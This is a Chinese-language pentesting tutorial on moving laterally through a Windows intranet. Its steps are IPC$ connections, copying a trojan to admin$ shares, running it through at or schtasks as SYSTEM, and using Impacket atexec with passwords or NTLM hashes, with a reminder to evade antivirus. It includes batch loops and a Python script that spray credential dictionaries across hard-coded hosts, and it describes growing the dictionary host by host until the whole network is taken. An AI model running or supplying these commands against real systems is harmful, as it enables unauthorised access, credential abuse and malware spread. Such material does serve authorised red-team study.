利用密码传递
at&schtasks
在日常渗透中,我们在拿到入口点(Windows)之后,我们可以使用at&schtasks在目标内网利用密码传递,进行横向渗透。
获取主机/域主机权限
minikatz获得密码(明文、hash)
信息收集用户名做字典
尝试链接
添加计划任务(at & schtasks)
执行文件木马、或者命令
windows 2012 以下 at
windows 2012 以上 schtasks
利用流程
建立IPC连接到目标主机
拷贝要执行的命令脚本到目标主机
查看目标时间,创建计划任务(at schtasks)定时执行copy到的脚本
删除IPC
建立IPC失败原因
1.你的系统不是NT或以上操作系统. 2.对方没有打开ipc$默认共享。 3.不能成功连接目标的139,445端口. 4.命令输入错误. 5.用户名或密码错误.
常见错误
1.错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 2.错误号51,Windows 无法找到网络路径 : 网络有问题; 3.错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 4.错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 6.错误号1326,未知的用户名或错误密码 : 原因很明显了; 7.错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 8.错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
建立IPC空连接
net use \\xx.xx.xx.xx\ipc$ "" /user:""
建立完整的用户名,密码连接:
net use \\xx.xx.xx.xx\ipc$ "password" /user:"username" net use \\xx.xx.xx.xx\ipc$ "password" /user:域名\"username" net use \\192.168.3.25\ipc$ "admin!@#45" /user:god\mary
映射路径:
net use z: \\xx.xx.xx.xx\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
删除
net use z: \\xx.xx.xx.xx\c$ #直接访问 net use c: /del 删除映射的c盘,其他盘类推 net use * /del 删除全部,会有提示要求按y确认 net use \\xx.xx.xx.xx\ipc$ /del dir \\xx.xx.xx.xx\c$ 列文件 copy \\xx.xx.xx.xx\c$\1.bat 1.bat 下载1.bat copy 1.bat \\xx.xx.xx.xx\C$ 复制文件 net view xx.xx.xx.xx 查看对方共享
过程
C:\>net use \\xx.xx.xx.xx\IPC$ "admin" /user:"admintitrators" 用户名是administrators,密码为"admin"的IP地址,如果是打算攻击的话,就可以用这样的命令来与xx.xx.xx.xx建立一个连接,因为密码为"admin",所以第一个引号处输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
C:\>copy text.exe \\xx.xx.xx.xx\admin$ 先复制text.exe上去,目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)
C:\>net time \\xx.xx.xx.xx 查查时间,发现xx.xx.xx.xx 的当前时间是 2021/2/8 上午 11:00,命令成功完成。 C:\>at \\xx.xx.xx.xx 11:05 text.exe 用at命令启动text.exe吧
/S system 指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。 /U username 指定应在其中执行 SchTasks.exe 的用户上下文。 /P [password] 指定给定用户上下文的密码。如果省略则提示输入。 /RU username 指定任务在其下运行的“运行方式”用户 帐户(用户上下文)。对于系统帐户,有效 值是 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和 "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID 对这三个也都可用。 /RP [password] 指定“运行方式”用户的密码。要提示输 入密码,值必须是 "*" 或无。系统帐户会忽略该 密码。必须和 /RU 或 /XML 开关一起使用。 /RU/XML /SC schedule 指定计划频率。 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier 改进计划类型以允许更好地控制计划重复周期。有效值列于下面“修改者”部分中。 /D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 计划的 1 - 31 (某月中的日期)。通配符“*”指定所有日期。 /M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符 “*” 指定所有的月。 /I idletime 指定运行一个已计划的 ONIDLE 任务之前 要等待的空闲时间。 有效值范围: 1 到 999 分钟。 /TN taskname 指定唯一识别这个计划任务的名称。 /TR taskrun 指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.exe /ST starttime 指定运行任务的开始时间。 时间格式为 HH:mm (24 小时时间),例如 14:30 表示 2:30 PM。如果未指定 /ST,则默认值为 当前时间。/SC ONCE 必需有此选项。 /RI interval 用分钟指定重复间隔。这不适用于 计划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 如果已指定 /ET 或 /DU,则其默认值为 10 分钟。 /ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. /DU duration 指定运行任务的持续时间。 时间格式为 HH:mm。这不适用于 /ET 和 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 /V1 任务,如果已指定 /RI,则持续时间默认值为 1 小时。 /K 在结束时间或持续时间终止任务。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。 /SD startdate 指定运行任务的第一个日期。 格式为 yyyy/mm/dd。默认值为 当前日期。这不适用于计划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy/mm/dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。 /EC ChannelName 为 OnEvent 触发器指定事件通道。 /IT 仅有在 /RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的情况下才运行。 /NP 不储存任何密码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。 /Z 标记在最终运行完任务后删除任务。 /XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含 主体时单独使用 /RP。 /V1 创建 Vista 以前的平台可以看见的任务。 不兼容 /XML。 /F 如果指定的任务已经存在,则强制创建 任务并抑制警告。 /RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。 /DELAY delaytime 指定触发触发器后延迟任务运行的 等待时间。时间格式为 mmmm:ss。此选项仅对计划类型 ONSTART, ONLOGON, ONEVENT. /? 显示此帮助消息。
创建任务
schtasks /create /s xx.xx.xx.xx /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat
执行任务
schtasks /run /s xx.xx.xx.xx /tn adduser /i 运行这个任务
删除任务
schtasks /delete /s xx.xx.xx.xx /tn adduser /f
使用第三方工具,自带提权
D:\>atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami" Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies [!] This will work ONLY on Windows >= Vista [*] Creating task \WqukoWZX [*] Running task \WqukoWZX [*] Deleting task \WqukoWZX [*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp [*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp nt authority\system # 权限为system
impacket工具包,里面很多内网用到的工具 这个工具注意免杀 atexec.exe ./administrator:123@.com@10.0.0.1 "whoami" atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami" atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@10.0.0.1 "whoami"
批量建立IPC链接
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.0.0.1 whoami #批量检测明文对应IP回显版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.0.0.1 whoami #批量检测HASH对应IP回显版
程序运行结束net use
查看建立了哪些连接,剩下的就是使用自带命令at&schtasks
上传脚本进行控制。
net use \\192.168.3.32\ipc$ admin!@#45 /user:g0od\dbadmin #pip install pyinstaller #pyinstaller -F fuck_neiwang_001.py 生成可执行EXE import os,time ips={ '192.168.3.21', '192.168.3.25', '192.168.3.29', '192.168.3.30', '192.168.3.31', '192.168.3.33' } users={ 'Administrator', 'boss', 'dbadmin', 'fileadmin', 'mack', 'mary', 'vpnadm', 'webadmin' } passs={ 'admin', 'admin!@#45', 'Admin12345' } for ip in ips: for user in users: for mima in passs: exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user print('--->'+exec+'<---') os.system(exec) time.sleep(1)
以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证
主机A 收集主机A的用户名和密码 组成字典 主机B 用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。 主机C 用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中 不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得1台主机到内网中所有主机的操作
工具地址
[https://gitee.com/RichChigga/impacket-examples-windows](https://gitee.com/RichChigga/impacket-examples-windows)